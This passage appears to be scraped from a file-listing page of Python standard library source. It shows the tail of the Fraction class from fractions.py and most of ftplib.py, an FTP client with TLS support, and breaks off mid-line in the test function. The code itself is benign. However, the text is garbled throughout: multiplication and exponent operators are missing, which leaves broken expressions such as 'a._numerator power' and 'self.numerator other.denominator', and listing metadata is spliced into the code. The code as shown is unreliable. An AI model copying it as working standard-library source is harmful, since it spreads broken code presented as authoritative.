Fraction(p1, q1) if abs(bound2 - self) <= abs(bound1-self): return bound2 else: return bound1 @property def numerator(a): return a._numerator @property def denominator(a): return a._denominator def __repr__(self): """repr(self)""" return '%s(%s, %s)' % (self.__class__.__name__, self._numerator, self._denominator) def __str__(self): """str(self)""" if self._denominator == 1: return str(self._numerator) else: return '%s/%s' % (self._numerator, self._denominator) def _operator_fallbacks(monomorphic_operator, fallback_operator): """Generates forward and reverse operators given a purely-rational operator and a function from the operator module. Use this like: __op__, __rop__ = _operator_fallbacks(just_rational_op, operator.op) In general, we want to implement the arithmetic operations so that mixed-mode operations either call an implementation whose author knew about the types of both arguments, or convert both to the nearest built in type and do the operation there. In Fraction, that means that we define __add__ and __radd__ as: def __add__(self, other): # Both types have numerators/denominator attributes, # so do the operation directly if isinstance(other, (int, Fraction)): return Fraction(self.numerator other.denominator + other.numerator * self.denominator, self.denominator * other.denominator) # float and complex don't have those operations, but we # know about those types, so special case them. elif isinstance(other, float): return float(self) + other elif isinstance(other, complex): return complex(self) + other # Let the other type take over. return NotImplemented def __radd__(self, other): # radd handles more types than add because there's # nothing left to fall back to. if isinstance(other, numbers.Rational): return Fraction(self.numerator * other.denominator + other.numerator * self.denominator, self.denominator * other.denominator) elif isinstance(other, Real): return float(other) + float(self) elif isinstance(other, Complex): return complex(other) + complex(self) return NotImplemented There are 5 different cases for a mixed-type addition on Fraction. I'll refer to all of the above code that doesn't refer to Fraction, float, or complex as "boilerplate". 'r' will be an instance of Fraction, which is a subtype of Rational (r : Fraction <: Rational), and b : B <: Complex. The first three involve 'r + b': 1. If B <: Fraction, int, float, or complex, we handle that specially, and all is well. 2. If Fraction falls back to the boilerplate code, and it were to return a value from __add__, we'd miss the possibility that B defines a more intelligent __radd__, so the boilerplate should return NotImplemented from __add__. In particular, we don't handle Rational here, even though we could get an exact answer, in case the other type wants to do something special. 3. If B <: Fraction, Python tries B.__radd__ before Fraction.__add__. This is ok, because it was implemented with knowledge of Fraction, so it can handle those instances before delegating to Real or Complex. The next two situations describe 'b + r'. We assume that b didn't know about Fraction in its implementation, and that it uses similar boilerplate code: 4. If B <: Rational, then __radd_ converts both to the builtin rational type (hey look, that's us) and proceeds. 5. Otherwise, __radd__ tries to find the nearest common base ABC, and fall back to its builtin type. Since this class doesn't subclass a concrete type, there's no implementation to fall back to, so we need to try as hard as possible to return an actual value, or the user will get a TypeError. """ def forward(a, b): if isinstance(b, (int, Fraction)): return monomorphic_operator(a, b) elif isinstance(b, float): return fallback_operator(float(a), b) elif isinstance(b, complex): return fallback_operator(complex(a), b) else: return NotImplemented forward.__name__ = '__' + fallback_operator.__name__ + '__' forward.__doc__ = monomorphic_operator.__doc__ def reverse(b, a): if isinstance(a, numbers.Rational): # Includes ints. return monomorphic_operator(a, b) elif isinstance(a, numbers.Real): return fallback_operator(float(a), float(b)) elif isinstance(a, numbers.Complex): return fallback_operator(complex(a), complex(b)) else: return NotImplemented reverse.__name__ = '__r' + fallback_operator.__name__ + '__' reverse.__doc__ = monomorphic_operator.__doc__ return forward, reverse def _add(a, b): """a + b""" da, db = a.denominator, b.denominator return Fraction(a.numerator * db + b.numerator * da, da * db) __add__, __radd__ = _operator_fallbacks(_add, operator.add) def _sub(a, b): """a - b""" da, db = a.denominator, b.denominator return Fraction(a.numerator * db - b.numerator * da, da * db) __sub__, __rsub__ = _operator_fallbacks(_sub, operator.sub) def _mul(a, b): """a * b""" return Fraction(a.numerator * b.numerator, a.denominator * b.denominator) __mul__, __rmul__ = _operator_fallbacks(_mul, operator.mul) def _div(a, b): """a / b""" return Fraction(a.numerator * b.denominator, a.denominator * b.numerator) __truediv__, __rtruediv__ = _operator_fallbacks(_div, operator.truediv) def __floordiv__(a, b): """a // b""" return math.floor(a / b) def __rfloordiv__(b, a): """a // b""" return math.floor(a / b) def __mod__(a, b): """a % b""" div = a // b return a - b * div def __rmod__(b, a): """a % b""" div = a // b return a - b * div def __pow__(a, b): """a b If b is not an integer, the result will be a float or complex since roots are generally irrational. If b is an integer, the result will be rational. """ if isinstance(b, numbers.Rational): if b.denominator == 1: power = b.numerator if power >= 0: return Fraction(a._numerator power, a._denominator power, _normalize=False) elif a._numerator >= 0: return Fraction(a._denominator -power, a._numerator -power, _normalize=False) else: return Fraction((-a._denominator) -power, (-a._numerator) -power, _normalize=False) else: # A fractional power will generally produce an # irrational number. return float(a) float(b) else: return float(a) b def __rpow__(b, a): """a b""" if b._denominator == 1 and b._numerator >= 0: # If a is an int, keep it that way if possible. return a b._numerator if isinstance(a, numbers.Rational): return Fraction(a.numerator, a.denominator) b if b._denominator == 1: return a b._numerator return a float(b) def __pos__(a): """+a: Coerces a subclass instance to Fraction""" return Fraction(a._numerator, a._denominator, _normalize=False) def __neg__(a): """-a""" return Fraction(-a._numerator, a._denominator, _normalize=False) def __abs__(a): """abs(a)""" return Fraction(abs(a._numerator), a._denominator, _normalize=False) def __trunc__(a): """trunc(a)""" if a._numerator < 0: return -(-a._numerator // a._denominator) else: return a._numerator // a._denominator def __floor__(a): """Will be math.floor(a) in 3.0.""" return a.numerator // a.denominator def __ceil__(a): """Will be math.ceil(a) in 3.0.""" # The negations cleverly convince floordiv to return the ceiling. return -(-a.numerator // a.denominator) def __round__(self, ndigits=None): """Will be round(self, ndigits) in 3.0. Rounds half toward even. """ if ndigits is None: floor, remainder = divmod(self.numerator, self.denominator) if remainder * 2 < self.denominator: return floor elif remainder * 2 > self.denominator: return floor + 1 # Deal with the half case: elif floor % 2 == 0: return floor else: return floor + 1 shift = 10*abs(ndigits) # See _operator_fallbacks.forward to check that the results of # these operations will always be Fraction and therefore have # round(). if ndigits > 0: return Fraction(round(self shift), shift) else: return Fraction(round(self / shift) * shift) def __hash__(self): """hash(self)""" # XXX since this method is expensive, consider caching the result # In order to make sure that the hash of a Fraction agrees # with the hash of a numerically equal integer, float or # Decimal instance, we follow the rules for numeric hashes # outlined in the documentation. (See library docs, 'Built-in # Types'). # dinv is the inverse of self._denominator modulo the prime # _PyHASH_MODULUS, or 0 if self._denominator is divisible by # _PyHASH_MODULUS. dinv = pow(self._denominator, _PyHASH_MODULUS - 2, _PyHASH_MODULUS) if not dinv: hash_ = _PyHASH_INF else: hash_ = abs(self._numerator) * dinv % _PyHASH_MODULUS result = hash_ if self >= 0 else -hash_ return -2 if result == -1 else result def __eq__(a, b): """a == b""" if type(b) is int: return a._numerator == b and a._denominator == 1 if isinstance(b, numbers.Rational): return (a._numerator == b.numerator and a._denominator == b.denominator) if isinstance(b, numbers.Complex) and b.imag == 0: b = b.real if isinstance(b, float): if math.isnan(b) or math.isinf(b): # comparisons with an infinity or nan should behave in # the same way for any finite a, so treat a as zero. return 0.0 == b else: return a == a.from_float(b) else: # Since a doesn't know how to compare with b, let's give b # a chance to compare itself with a. return NotImplemented def _richcmp(self, other, op): """Helper for comparison operators, for internal use only. Implement comparison between a Rational instance `self`, and either another Rational instance or a float `other`. If `other` is not a Rational instance or a float, return NotImplemented. `op` should be one of the six standard comparison operators. """ # convert other to a Rational instance where reasonable. if isinstance(other, numbers.Rational): return op(self._numerator * other.denominator, self._denominator * other.numerator) if isinstance(other, float): if math.isnan(other) or math.isinf(other): return op(0.0, other) else: return op(self, self.from_float(other)) else: return NotImplemented def __lt__(a, b): """a < b""" return a._richcmp(b, operator.lt) def __gt__(a, b): """a > b""" return a._richcmp(b, operator.gt) def __le__(a, b): """a <= b""" return a._richcmp(b, operator.le) def __ge__(a, b): """a >= b""" return a._richcmp(b, operator.ge) def __bool__(a): """a != 0""" # bpo-39274: Use bool() because (a._numerator != 0) can return an # object which is not a bool. return bool(a._numerator) # support for pickling, copy, and deepcopy def __reduce__(self): return (self.__class__, (str(self),)) def __copy__(self): if type(self) == Fraction: return self # I'm immutable; therefore I am my own clone return self.__class__(self._numerator, self._denominator) def __deepcopy__(self, memo): if type(self) == Fraction: return self # My components are also immutable return self.__class__(self._numerator, self._denominator)	23.2 KB	2024-04-17 17:55
📄 ftplib.py """An FTP client class and some helper functions. Based on RFC 959: File Transfer Protocol (FTP), by J. Postel and J. Reynolds Example: >>> from ftplib import FTP >>> ftp = FTP('ftp.python.org') # connect to host, default port >>> ftp.login() # default, i.e.: user anonymous, passwd anonymous@ '230 Guest login ok, access restrictions apply.' >>> ftp.retrlines('LIST') # list directory contents total 9 drwxr-xr-x 8 root wheel 1024 Jan 3 1994 . drwxr-xr-x 8 root wheel 1024 Jan 3 1994 .. drwxr-xr-x 2 root wheel 1024 Jan 3 1994 bin drwxr-xr-x 2 root wheel 1024 Jan 3 1994 etc d-wxrwxr-x 2 ftp wheel 1024 Sep 5 13:43 incoming drwxr-xr-x 2 root wheel 1024 Nov 17 1993 lib drwxr-xr-x 6 1094 wheel 1024 Sep 13 19:07 pub drwxr-xr-x 3 root wheel 1024 Jan 3 1994 usr -rw-r--r-- 1 root root 312 Aug 1 1994 welcome.msg '226 Transfer complete.' >>> ftp.quit() '221 Goodbye.' >>> A nice test that reveals some of the network dialogue would be: python ftplib.py -d localhost -l -p -l """ # # Changes and improvements suggested by Steve Majewski. # Modified by Jack to work on the mac. # Modified by Siebren to support docstrings and PASV. # Modified by Phil Schwartz to add storbinary and storlines callbacks. # Modified by Giampaolo Rodola' to add TLS support. # import sys import socket from socket import _GLOBAL_DEFAULT_TIMEOUT __all__ = ["FTP", "error_reply", "error_temp", "error_perm", "error_proto", "all_errors"] # Magic number from <socket.h> MSG_OOB = 0x1 # Process data out of band # The standard FTP server control port FTP_PORT = 21 # The sizehint parameter passed to readline() calls MAXLINE = 8192 # Exception raised when an error or invalid response is received class Error(Exception): pass class error_reply(Error): pass # unexpected [123]xx reply class error_temp(Error): pass # 4xx errors class error_perm(Error): pass # 5xx errors class error_proto(Error): pass # response does not begin with [1-5] # All exceptions (hopefully) that may be raised here and that aren't # (always) programming errors on our side all_errors = (Error, OSError, EOFError) # Line terminators (we always output CRLF, but accept any of CRLF, CR, LF) CRLF = '\r\n' B_CRLF = b'\r\n' # The class itself class FTP: '''An FTP client class. To create a connection, call the class using these arguments: host, user, passwd, acct, timeout The first four arguments are all strings, and have default value ''. timeout must be numeric and defaults to None if not passed, meaning that no timeout will be set on any ftp socket(s) If a timeout is passed, then this is now the default timeout for all ftp socket operations for this instance. Then use self.connect() with optional host and port argument. To download a file, use ftp.retrlines('RETR ' + filename), or ftp.retrbinary() with slightly different arguments. To upload a file, use ftp.storlines() or ftp.storbinary(), which have an open file as argument (see their definitions below for details). The download/upload functions first issue appropriate TYPE and PORT or PASV commands. ''' debugging = 0 host = '' port = FTP_PORT maxline = MAXLINE sock = None file = None welcome = None passiveserver = 1 encoding = "latin-1" # Disables https://bugs.python.org/issue43285 security if set to True. trust_server_pasv_ipv4_address = False # Initialization method (called by class instantiation). # Initialize host to localhost, port to standard ftp port # Optional arguments are host (for connect()), # and user, passwd, acct (for login()) def __init__(self, host='', user='', passwd='', acct='', timeout=_GLOBAL_DEFAULT_TIMEOUT, source_address=None): self.source_address = source_address self.timeout = timeout if host: self.connect(host) if user: self.login(user, passwd, acct) def __enter__(self): return self # Context management protocol: try to quit() if active def __exit__(self, args): if self.sock is not None: try: self.quit() except (OSError, EOFError): pass finally: if self.sock is not None: self.close() def connect(self, host='', port=0, timeout=-999, source_address=None): '''Connect to host. Arguments are: - host: hostname to connect to (string, default previous host) - port: port to connect to (integer, default previous port) - timeout: the timeout to set against the ftp socket(s) - source_address: a 2-tuple (host, port) for the socket to bind to as its source address before connecting. ''' if host != '': self.host = host if port > 0: self.port = port if timeout != -999: self.timeout = timeout if source_address is not None: self.source_address = source_address self.sock = socket.create_connection((self.host, self.port), self.timeout, source_address=self.source_address) self.af = self.sock.family self.file = self.sock.makefile('r', encoding=self.encoding) self.welcome = self.getresp() return self.welcome def getwelcome(self): '''Get the welcome message from the server. (this is read and squirreled away by connect())''' if self.debugging: print('welcome', self.sanitize(self.welcome)) return self.welcome def set_debuglevel(self, level): '''Set the debugging level. The required argument level means: 0: no debugging output (default) 1: print commands and responses but not body text etc. 2: also print raw lines read and sent before stripping CR/LF''' self.debugging = level debug = set_debuglevel def set_pasv(self, val): '''Use passive or active mode for data transfers. With a false argument, use the normal PORT mode, With a true argument, use the PASV command.''' self.passiveserver = val # Internal: "sanitize" a string for printing def sanitize(self, s): if s[:5] in {'pass ', 'PASS '}: i = len(s.rstrip('\r\n')) s = s[:5] + ''(i-5) + s[i:] return repr(s) # Internal: send one line to the server, appending CRLF def putline(self, line): if '\r' in line or '\n' in line: raise ValueError('an illegal newline character should not be contained') line = line + CRLF if self.debugging > 1: print('put', self.sanitize(line)) self.sock.sendall(line.encode(self.encoding)) # Internal: send one command to the server (through putline()) def putcmd(self, line): if self.debugging: print('cmd', self.sanitize(line)) self.putline(line) # Internal: return one line from the server, stripping CRLF. # Raise EOFError if the connection is closed def getline(self): line = self.file.readline(self.maxline + 1) if len(line) > self.maxline: raise Error("got more than %d bytes" % self.maxline) if self.debugging > 1: print('get', self.sanitize(line)) if not line: raise EOFError if line[-2:] == CRLF: line = line[:-2] elif line[-1:] in CRLF: line = line[:-1] return line # Internal: get a response from the server, which may possibly # consist of multiple lines. Return a single string with no # trailing CRLF. If the response consists of multiple lines, # these are separated by '\n' characters in the string def getmultiline(self): line = self.getline() if line[3:4] == '-': code = line[:3] while 1: nextline = self.getline() line = line + ('\n' + nextline) if nextline[:3] == code and \ nextline[3:4] != '-': break return line # Internal: get a response from the server. # Raise various errors if the response indicates an error def getresp(self): resp = self.getmultiline() if self.debugging: print('resp', self.sanitize(resp)) self.lastresp = resp[:3] c = resp[:1] if c in {'1', '2', '3'}: return resp if c == '4': raise error_temp(resp) if c == '5': raise error_perm(resp) raise error_proto(resp) def voidresp(self): """Expect a response beginning with '2'.""" resp = self.getresp() if resp[:1] != '2': raise error_reply(resp) return resp def abort(self): '''Abort a file transfer. Uses out-of-band data. This does not follow the procedure from the RFC to send Telnet IP and Synch; that doesn't seem to work with the servers I've tried. Instead, just send the ABOR command as OOB data.''' line = b'ABOR' + B_CRLF if self.debugging > 1: print('put urgent', self.sanitize(line)) self.sock.sendall(line, MSG_OOB) resp = self.getmultiline() if resp[:3] not in {'426', '225', '226'}: raise error_proto(resp) return resp def sendcmd(self, cmd): '''Send a command and return the response.''' self.putcmd(cmd) return self.getresp() def voidcmd(self, cmd): """Send a command and expect a response beginning with '2'.""" self.putcmd(cmd) return self.voidresp() def sendport(self, host, port): '''Send a PORT command with the current host and the given port number. ''' hbytes = host.split('.') pbytes = [repr(port//256), repr(port%256)] bytes = hbytes + pbytes cmd = 'PORT ' + ','.join(bytes) return self.voidcmd(cmd) def sendeprt(self, host, port): '''Send an EPRT command with the current host and the given port number.''' af = 0 if self.af == socket.AF_INET: af = 1 if self.af == socket.AF_INET6: af = 2 if af == 0: raise error_proto('unsupported address family') fields = ['', repr(af), host, repr(port), ''] cmd = 'EPRT ' + '\|'.join(fields) return self.voidcmd(cmd) def makeport(self): '''Create a new socket and send a PORT command for it.''' err = None sock = None for res in socket.getaddrinfo(None, 0, self.af, socket.SOCK_STREAM, 0, socket.AI_PASSIVE): af, socktype, proto, canonname, sa = res try: sock = socket.socket(af, socktype, proto) sock.bind(sa) except OSError as _: err = _ if sock: sock.close() sock = None continue break if sock is None: if err is not None: raise err else: raise OSError("getaddrinfo returns an empty list") sock.listen(1) port = sock.getsockname()[1] # Get proper port host = self.sock.getsockname()[0] # Get proper host if self.af == socket.AF_INET: resp = self.sendport(host, port) else: resp = self.sendeprt(host, port) if self.timeout is not _GLOBAL_DEFAULT_TIMEOUT: sock.settimeout(self.timeout) return sock def makepasv(self): """Internal: Does the PASV or EPSV handshake -> (address, port)""" if self.af == socket.AF_INET: untrusted_host, port = parse227(self.sendcmd('PASV')) if self.trust_server_pasv_ipv4_address: host = untrusted_host else: host = self.sock.getpeername()[0] else: host, port = parse229(self.sendcmd('EPSV'), self.sock.getpeername()) return host, port def ntransfercmd(self, cmd, rest=None): """Initiate a transfer over the data connection. If the transfer is active, send a port command and the transfer command, and accept the connection. If the server is passive, send a pasv command, connect to it, and start the transfer command. Either way, return the socket for the connection and the expected size of the transfer. The expected size may be None if it could not be determined. Optional `rest' argument can be a string that is sent as the argument to a REST command. This is essentially a server marker used to tell the server to skip over any data up to the given marker. """ size = None if self.passiveserver: host, port = self.makepasv() conn = socket.create_connection((host, port), self.timeout, source_address=self.source_address) try: if rest is not None: self.sendcmd("REST %s" % rest) resp = self.sendcmd(cmd) # Some servers apparently send a 200 reply to # a LIST or STOR command, before the 150 reply # (and way before the 226 reply). This seems to # be in violation of the protocol (which only allows # 1xx or error messages for LIST), so we just discard # this response. if resp[0] == '2': resp = self.getresp() if resp[0] != '1': raise error_reply(resp) except: conn.close() raise else: with self.makeport() as sock: if rest is not None: self.sendcmd("REST %s" % rest) resp = self.sendcmd(cmd) # See above. if resp[0] == '2': resp = self.getresp() if resp[0] != '1': raise error_reply(resp) conn, sockaddr = sock.accept() if self.timeout is not _GLOBAL_DEFAULT_TIMEOUT: conn.settimeout(self.timeout) if resp[:3] == '150': # this is conditional in case we received a 125 size = parse150(resp) return conn, size def transfercmd(self, cmd, rest=None): """Like ntransfercmd() but returns only the socket.""" return self.ntransfercmd(cmd, rest)[0] def login(self, user = '', passwd = '', acct = ''): '''Login, default anonymous.''' if not user: user = 'anonymous' if not passwd: passwd = '' if not acct: acct = '' if user == 'anonymous' and passwd in {'', '-'}: # If there is no anonymous ftp password specified # then we'll just use anonymous@ # We don't send any other thing because: # - We want to remain anonymous # - We want to stop SPAM # - We don't want to let ftp sites to discriminate by the user, # host or country. passwd = passwd + 'anonymous@' resp = self.sendcmd('USER ' + user) if resp[0] == '3': resp = self.sendcmd('PASS ' + passwd) if resp[0] == '3': resp = self.sendcmd('ACCT ' + acct) if resp[0] != '2': raise error_reply(resp) return resp def retrbinary(self, cmd, callback, blocksize=8192, rest=None): """Retrieve data in binary mode. A new port is created for you. Args: cmd: A RETR command. callback: A single parameter callable to be called on each block of data read. blocksize: The maximum number of bytes to read from the socket at one time. [default: 8192] rest: Passed to transfercmd(). [default: None] Returns: The response code. """ self.voidcmd('TYPE I') with self.transfercmd(cmd, rest) as conn: while 1: data = conn.recv(blocksize) if not data: break callback(data) # shutdown ssl layer if _SSLSocket is not None and isinstance(conn, _SSLSocket): conn.unwrap() return self.voidresp() def retrlines(self, cmd, callback = None): """Retrieve data in line mode. A new port is created for you. Args: cmd: A RETR, LIST, or NLST command. callback: An optional single parameter callable that is called for each line with the trailing CRLF stripped. [default: print_line()] Returns: The response code. """ if callback is None: callback = print_line resp = self.sendcmd('TYPE A') with self.transfercmd(cmd) as conn, \ conn.makefile('r', encoding=self.encoding) as fp: while 1: line = fp.readline(self.maxline + 1) if len(line) > self.maxline: raise Error("got more than %d bytes" % self.maxline) if self.debugging > 2: print('retr', repr(line)) if not line: break if line[-2:] == CRLF: line = line[:-2] elif line[-1:] == '\n': line = line[:-1] callback(line) # shutdown ssl layer if _SSLSocket is not None and isinstance(conn, _SSLSocket): conn.unwrap() return self.voidresp() def storbinary(self, cmd, fp, blocksize=8192, callback=None, rest=None): """Store a file in binary mode. A new port is created for you. Args: cmd: A STOR command. fp: A file-like object with a read(num_bytes) method. blocksize: The maximum data size to read from fp and send over the connection at once. [default: 8192] callback: An optional single parameter callable that is called on each block of data after it is sent. [default: None] rest: Passed to transfercmd(). [default: None] Returns: The response code. """ self.voidcmd('TYPE I') with self.transfercmd(cmd, rest) as conn: while 1: buf = fp.read(blocksize) if not buf: break conn.sendall(buf) if callback: callback(buf) # shutdown ssl layer if _SSLSocket is not None and isinstance(conn, _SSLSocket): conn.unwrap() return self.voidresp() def storlines(self, cmd, fp, callback=None): """Store a file in line mode. A new port is created for you. Args: cmd: A STOR command. fp: A file-like object with a readline() method. callback: An optional single parameter callable that is called on each line after it is sent. [default: None] Returns: The response code. """ self.voidcmd('TYPE A') with self.transfercmd(cmd) as conn: while 1: buf = fp.readline(self.maxline + 1) if len(buf) > self.maxline: raise Error("got more than %d bytes" % self.maxline) if not buf: break if buf[-2:] != B_CRLF: if buf[-1] in B_CRLF: buf = buf[:-1] buf = buf + B_CRLF conn.sendall(buf) if callback: callback(buf) # shutdown ssl layer if _SSLSocket is not None and isinstance(conn, _SSLSocket): conn.unwrap() return self.voidresp() def acct(self, password): '''Send new account name.''' cmd = 'ACCT ' + password return self.voidcmd(cmd) def nlst(self, args): '''Return a list of files in a given directory (default the current).''' cmd = 'NLST' for arg in args: cmd = cmd + (' ' + arg) files = [] self.retrlines(cmd, files.append) return files def dir(self, args): '''List a directory in long form. By default list current directory to stdout. Optional last argument is callback function; all non-empty arguments before it are concatenated to the LIST command. (This should* only be used for a pathname.)''' cmd = 'LIST' func = None if args[-1:] and type(args[-1]) != type(''): args, func = args[:-1], args[-1] for arg in args: if arg: cmd = cmd + (' ' + arg) self.retrlines(cmd, func) def mlsd(self, path="", facts=[]): '''List a directory in a standardized format by using MLSD command (RFC-3659). If path is omitted the current directory is assumed. "facts" is a list of strings representing the type of information desired (e.g. ["type", "size", "perm"]). Return a generator object yielding a tuple of two elements for every file found in path. First element is the file name, the second one is a dictionary including a variable number of "facts" depending on the server and whether "facts" argument has been provided. ''' if facts: self.sendcmd("OPTS MLST " + ";".join(facts) + ";") if path: cmd = "MLSD %s" % path else: cmd = "MLSD" lines = [] self.retrlines(cmd, lines.append) for line in lines: facts_found, _, name = line.rstrip(CRLF).partition(' ') entry = {} for fact in facts_found[:-1].split(";"): key, _, value = fact.partition("=") entry[key.lower()] = value yield (name, entry) def rename(self, fromname, toname): '''Rename a file.''' resp = self.sendcmd('RNFR ' + fromname) if resp[0] != '3': raise error_reply(resp) return self.voidcmd('RNTO ' + toname) def delete(self, filename): '''Delete a file.''' resp = self.sendcmd('DELE ' + filename) if resp[:3] in {'250', '200'}: return resp else: raise error_reply(resp) def cwd(self, dirname): '''Change to a directory.''' if dirname == '..': try: return self.voidcmd('CDUP') except error_perm as msg: if msg.args[0][:3] != '500': raise elif dirname == '': dirname = '.' # does nothing, but could return error cmd = 'CWD ' + dirname return self.voidcmd(cmd) def size(self, filename): '''Retrieve the size of a file.''' # The SIZE command is defined in RFC-3659 resp = self.sendcmd('SIZE ' + filename) if resp[:3] == '213': s = resp[3:].strip() return int(s) def mkd(self, dirname): '''Make a directory, return its full pathname.''' resp = self.voidcmd('MKD ' + dirname) # fix around non-compliant implementations such as IIS shipped # with Windows server 2003 if not resp.startswith('257'): return '' return parse257(resp) def rmd(self, dirname): '''Remove a directory.''' return self.voidcmd('RMD ' + dirname) def pwd(self): '''Return current working directory.''' resp = self.voidcmd('PWD') # fix around non-compliant implementations such as IIS shipped # with Windows server 2003 if not resp.startswith('257'): return '' return parse257(resp) def quit(self): '''Quit, and close the connection.''' resp = self.voidcmd('QUIT') self.close() return resp def close(self): '''Close the connection without assuming anything about it.''' try: file = self.file self.file = None if file is not None: file.close() finally: sock = self.sock self.sock = None if sock is not None: sock.close() try: import ssl except ImportError: _SSLSocket = None else: _SSLSocket = ssl.SSLSocket class FTP_TLS(FTP): '''A FTP subclass which adds TLS support to FTP as described in RFC-4217. Connect as usual to port 21 implicitly securing the FTP control connection before authenticating. Securing the data connection requires user to explicitly ask for it by calling prot_p() method. Usage example: >>> from ftplib import FTP_TLS >>> ftps = FTP_TLS('ftp.python.org') >>> ftps.login() # login anonymously previously securing control channel '230 Guest login ok, access restrictions apply.' >>> ftps.prot_p() # switch to secure data connection '200 Protection level set to P' >>> ftps.retrlines('LIST') # list directory content securely total 9 drwxr-xr-x 8 root wheel 1024 Jan 3 1994 . drwxr-xr-x 8 root wheel 1024 Jan 3 1994 .. drwxr-xr-x 2 root wheel 1024 Jan 3 1994 bin drwxr-xr-x 2 root wheel 1024 Jan 3 1994 etc d-wxrwxr-x 2 ftp wheel 1024 Sep 5 13:43 incoming drwxr-xr-x 2 root wheel 1024 Nov 17 1993 lib drwxr-xr-x 6 1094 wheel 1024 Sep 13 19:07 pub drwxr-xr-x 3 root wheel 1024 Jan 3 1994 usr -rw-r--r-- 1 root root 312 Aug 1 1994 welcome.msg '226 Transfer complete.' >>> ftps.quit() '221 Goodbye.' >>> ''' ssl_version = ssl.PROTOCOL_TLS_CLIENT def __init__(self, host='', user='', passwd='', acct='', keyfile=None, certfile=None, context=None, timeout=_GLOBAL_DEFAULT_TIMEOUT, source_address=None): if context is not None and keyfile is not None: raise ValueError("context and keyfile arguments are mutually " "exclusive") if context is not None and certfile is not None: raise ValueError("context and certfile arguments are mutually " "exclusive") if keyfile is not None or certfile is not None: import warnings warnings.warn("keyfile and certfile are deprecated, use a " "custom context instead", DeprecationWarning, 2) self.keyfile = keyfile self.certfile = certfile if context is None: context = ssl._create_stdlib_context(self.ssl_version, certfile=certfile, keyfile=keyfile) self.context = context self._prot_p = False FTP.__init__(self, host, user, passwd, acct, timeout, source_address) def login(self, user='', passwd='', acct='', secure=True): if secure and not isinstance(self.sock, ssl.SSLSocket): self.auth() return FTP.login(self, user, passwd, acct) def auth(self): '''Set up secure control connection by using TLS/SSL.''' if isinstance(self.sock, ssl.SSLSocket): raise ValueError("Already using TLS") if self.ssl_version >= ssl.PROTOCOL_TLS: resp = self.voidcmd('AUTH TLS') else: resp = self.voidcmd('AUTH SSL') self.sock = self.context.wrap_socket(self.sock, server_hostname=self.host) self.file = self.sock.makefile(mode='r', encoding=self.encoding) return resp def ccc(self): '''Switch back to a clear-text control connection.''' if not isinstance(self.sock, ssl.SSLSocket): raise ValueError("not using TLS") resp = self.voidcmd('CCC') self.sock = self.sock.unwrap() return resp def prot_p(self): '''Set up secure data connection.''' # PROT defines whether or not the data channel is to be protected. # Though RFC-2228 defines four possible protection levels, # RFC-4217 only recommends two, Clear and Private. # Clear (PROT C) means that no security is to be used on the # data-channel, Private (PROT P) means that the data-channel # should be protected by TLS. # PBSZ command MUST still be issued, but must have a parameter of # '0' to indicate that no buffering is taking place and the data # connection should not be encapsulated. self.voidcmd('PBSZ 0') resp = self.voidcmd('PROT P') self._prot_p = True return resp def prot_c(self): '''Set up clear text data connection.''' resp = self.voidcmd('PROT C') self._prot_p = False return resp # --- Overridden FTP methods def ntransfercmd(self, cmd, rest=None): conn, size = FTP.ntransfercmd(self, cmd, rest) if self._prot_p: conn = self.context.wrap_socket(conn, server_hostname=self.host) return conn, size def abort(self): # overridden as we can't pass MSG_OOB flag to sendall() line = b'ABOR' + B_CRLF self.sock.sendall(line) resp = self.getmultiline() if resp[:3] not in {'426', '225', '226'}: raise error_proto(resp) return resp __all__.append('FTP_TLS') all_errors = (Error, OSError, EOFError, ssl.SSLError) _150_re = None def parse150(resp): '''Parse the '150' response for a RETR request. Returns the expected transfer size or None; size is not guaranteed to be present in the 150 message. ''' if resp[:3] != '150': raise error_reply(resp) global _150_re if _150_re is None: import re _150_re = re.compile( r"150 .* $(\d+) bytes$", re.IGNORECASE \| re.ASCII) m = _150_re.match(resp) if not m: return None return int(m.group(1)) _227_re = None def parse227(resp): '''Parse the '227' response for a PASV request. Raises error_proto if it does not contain '(h1,h2,h3,h4,p1,p2)' Return ('host.addr.as.numbers', port#) tuple.''' if resp[:3] != '227': raise error_reply(resp) global _227_re if _227_re is None: import re _227_re = re.compile(r'(\d+),(\d+),(\d+),(\d+),(\d+),(\d+)', re.ASCII) m = _227_re.search(resp) if not m: raise error_proto(resp) numbers = m.groups() host = '.'.join(numbers[:4]) port = (int(numbers[4]) << 8) + int(numbers[5]) return host, port def parse229(resp, peer): '''Parse the '229' response for an EPSV request. Raises error_proto if it does not contain '(\|\|\|port\|)' Return ('host.addr.as.numbers', port#) tuple.''' if resp[:3] != '229': raise error_reply(resp) left = resp.find('(') if left < 0: raise error_proto(resp) right = resp.find(')', left + 1) if right < 0: raise error_proto(resp) # should contain '(\|\|\|port\|)' if resp[left + 1] != resp[right - 1]: raise error_proto(resp) parts = resp[left + 1:right].split(resp[left+1]) if len(parts) != 5: raise error_proto(resp) host = peer[0] port = int(parts[3]) return host, port def parse257(resp): '''Parse the '257' response for a MKD or PWD request. This is a response to a MKD or PWD request: a directory name. Returns the directoryname in the 257 reply.''' if resp[:3] != '257': raise error_reply(resp) if resp[3:5] != ' "': return '' # Not compliant to RFC 959, but UNIX ftpd does this dirname = '' i = 5 n = len(resp) while i < n: c = resp[i] i = i+1 if c == '"': if i >= n or resp[i] != '"': break i = i+1 dirname = dirname + c return dirname def print_line(line): '''Default retrlines callback to print a line.''' print(line) def ftpcp(source, sourcename, target, targetname = '', type = 'I'): '''Copy file from one FTP-instance to another.''' if not targetname: targetname = sourcename type = 'TYPE ' + type source.voidcmd(type) target.voidcmd(type) sourcehost, sourceport = parse227(source.sendcmd('PASV')) target.sendport(sourcehost, sourceport) # RFC 959: the user must "listen" [...] BEFORE sending the # transfer request. # So: STOR before RETR, because here the target is a "user". treply = target.sendcmd('STOR ' + targetname) if treply[:3] not in {'125', '150'}: raise error_proto # RFC 959 sreply = source.sendcmd('RETR ' + sourcename) if sreply[:3] not in {'125', '150'}: raise error_proto # RFC 959 source.voidresp() target.voidresp() def test(): '''Test program. Usage: ftp [-d] [-r[file]] host [-l[dir]] [-d[dir]] [-p] [file] ... -d dir -l list -p password ''' if len(sys.argv) < 2: print(test.__doc__) sys.exit(0) import netrc debugging = 0 rcfile = None while sys.argv[1] == '-d': debugging = debugging+1 del sys.argv[1] if sys.argv[1][:2] == '-r': # get name of alternate ~/.netrc file: rcfile = sys.argv[1][2:] del sys.argv[1] host = sys.argv[1] ftp = FTP(host) ftp.set_debuglevel(debugging) userid = passwd = acct = '' try: netrcobj = netrc.netrc(rcfile) except OSError: if rcfile is not None: sys.stderr.write("Could not open account file" " -- using anonymous login.") else: try: userid, acct, passwd = 